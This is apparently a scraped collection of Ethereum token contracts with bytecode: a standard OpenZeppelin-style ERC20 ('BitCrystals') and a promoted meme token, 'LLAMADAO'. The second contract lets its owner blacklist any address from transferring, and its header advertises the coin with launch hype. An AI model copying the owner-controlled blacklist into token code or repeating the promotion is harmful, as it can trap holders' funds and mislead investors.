* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract BitCrystals is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// NOTE Start of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mint(msg.sender, 18000000 * 10 ** uint256(decimals)); // CAUTION!
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
// NOTE End of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f61059d565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a7565b604051808215151515815260200191505060405180910390f35b610243610658565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066f565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610714565b6040518082815260200191505060405180910390f35b61032561075c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fe565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ba565b6040518082815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b6000610593338484610941565b6001905092915050565b6000600554905090565b60006105b4848484610b38565b61064d843361064885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd490919063ffffffff16565b610941565b600190509392505050565b6000600460009054906101000a900460ff16905090565b600061070a338461070585600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5d90919063ffffffff16565b610941565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f45780601f106107c9576101008083540402835291602001916107f4565b820191906000526020600020905b8154815290600101906020018083116107d757829003601f168201915b5050505050905090565b6000610899338461089485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd490919063ffffffff16565b610941565b6001905092915050565b60006108b0338484610b38565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610f506024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610f096022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610f2b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610ee66023913960400191505060405180910390fd5b610c95816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d28816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610e4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015610edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820285fe173273e481daffd26e8e70bdfc7cf3244cdebaa40c071d8edd561c245cd64736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 7,833 |
0x5c025a6efdb3227acec0c3ad44dade10e4499c4d
|
/**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
/*
🦙 🦙 $LlamaDAO
[$LlamaDAO will be launched soon!!!]
🦙🦙LlamaDAO🦙🦙
👉The purpose of the 🦙 $LlamaDAO🦙 is to bring the influences and popularity of the Llama figure to the cryptocurrency world. We believe that the llama figure, one of the most prominent figures ever used in various memes, can not only draw the attention but also the involvement of supporters like you of the meme world.
👉 Utility functions and dAPP launch will be followed. Join our community now and don’t miss the updates!!!
🦙Max Supply: 10 Billions
🦙Buy Limit: 2%
🦙Initial LP: 5 ETH
🦙Buy Tax: 13%
🦙Sell Tax: 13%
🖥Website: https://llamadao.net/
📘TG: https://t.me/llamadao
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LLAMADAO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"LLAMA DAO";
string public constant symbol = unicode"LLAMADAO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 200000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e116101025780639e78fb4f11610095578063c9567bf911610064578063c9567bf914610596578063db92dbb6146105ab578063dcb0e0ad146105c0578063dd62ed3e146105e057600080fd5b80639e78fb4f1461052c578063a9059cbb14610541578063b515566a14610561578063c3c8cd801461058157600080fd5b806373f54a11116100d157806373f54a111461049a5780638da5cb5b146104ba57806394b8d8f2146104d857806395d89b41146104f857600080fd5b8063590f897e1461043a5780636fc3eaec1461045057806370a0823114610465578063715018a61461048557600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ab57806340b9a54b146103e457806345596e2e146103fa57806349bd5a5e1461041a57600080fd5b806327f3a72a14610339578063313ce5671461034e57806331c2d8471461037557806332d873d81461039557600080fd5b8063104ce66d116101b6578063104ce66d146102b057806318160ddd146102e85780631940d0201461030357806323b872dd1461031957600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025e5780630b78f9c01461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b50610251604051806040016040528060098152602001684c4c414d412044414f60b81b81525081565b6040516102139190611a10565b34801561026a57600080fd5b5061027e610279366004611a8a565b610626565b6040519015158152602001610213565b34801561029a57600080fd5b506102ae6102a9366004611ab6565b61063c565b005b3480156102bc57600080fd5b506008546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f457600080fd5b50678ac7230489e80000610209565b34801561030f57600080fd5b50610209600e5481565b34801561032557600080fd5b5061027e610334366004611ad8565b6106d6565b34801561034557600080fd5b5061020961072a565b34801561035a57600080fd5b50610363600981565b60405160ff9091168152602001610213565b34801561038157600080fd5b506102ae610390366004611b2f565b61073a565b3480156103a157600080fd5b50610209600f5481565b3480156103b757600080fd5b5061027e6103c6366004611bf4565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f057600080fd5b50610209600a5481565b34801561040657600080fd5b506102ae610415366004611c11565b6107c6565b34801561042657600080fd5b506009546102d0906001600160a01b031681565b34801561044657600080fd5b50610209600b5481565b34801561045c57600080fd5b506102ae610867565b34801561047157600080fd5b50610209610480366004611bf4565b610894565b34801561049157600080fd5b506102ae6108af565b3480156104a657600080fd5b506102ae6104b5366004611bf4565b610923565b3480156104c657600080fd5b506000546001600160a01b03166102d0565b3480156104e457600080fd5b5060105461027e9062010000900460ff1681565b34801561050457600080fd5b50610251604051806040016040528060088152602001674c4c414d4144414f60c01b81525081565b34801561053857600080fd5b506102ae610991565b34801561054d57600080fd5b5061027e61055c366004611a8a565b610bab565b34801561056d57600080fd5b506102ae61057c366004611b2f565b610bb8565b34801561058d57600080fd5b506102ae610cd1565b3480156105a257600080fd5b506102ae610d07565b3480156105b757600080fd5b50610209610ede565b3480156105cc57600080fd5b506102ae6105db366004611c38565b610ef6565b3480156105ec57600080fd5b506102096105fb366004611c55565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610633338484610f69565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065c57600080fd5b600f8210801561066c5750600f81105b80156106795750600a5482105b80156106865750600b5481105b61068f57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106e384848461108d565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610712908490611ca4565b905061071f853383610f69565b506001949350505050565b600061073530610894565b905090565b6008546001600160a01b0316336001600160a01b03161461075a57600080fd5b60005b81518110156107c25760006005600084848151811061077e5761077e611cbb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ba81611cd1565b91505061075d565b5050565b6008546001600160a01b0316336001600160a01b0316146107e657600080fd5b6000811161082b5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461088757600080fd5b47610891816116dd565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108d95760405162461bcd60e51b815260040161082290611cec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461094357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085c565b6000546001600160a01b031633146109bb5760405162461bcd60e51b815260040161082290611cec565b60105460ff1615610a085760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610822565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a443082678ac7230489e80000610f69565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190611d21565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b179190611d21565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b889190611d21565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b600061063333848461108d565b6000546001600160a01b03163314610be25760405162461bcd60e51b815260040161082290611cec565b60005b81518110156107c25760095482516001600160a01b0390911690839083908110610c1157610c11611cbb565b60200260200101516001600160a01b031614158015610c62575060075482516001600160a01b0390911690839083908110610c4e57610c4e611cbb565b60200260200101516001600160a01b031614155b15610cbf57600160056000848481518110610c7f57610c7f611cbb565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cc981611cd1565b915050610be5565b6008546001600160a01b0316336001600160a01b031614610cf157600080fd5b6000610cfc30610894565b905061089181611717565b6000546001600160a01b03163314610d315760405162461bcd60e51b815260040161082290611cec565b60105460ff1615610d7e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610822565b6007546001600160a01b031663f305d7194730610d9a81610894565b600080610daf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3c9190611d3e565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190611d6c565b506010805460ff1916600117905542600f556702c68af0bb140000600d819055600e55565b600954600090610735906001600160a01b0316610894565b6008546001600160a01b0316336001600160a01b031614610f1657600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085c565b6001600160a01b038316610fcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610822565b6001600160a01b03821661102c5760405162461bcd60e51b81526020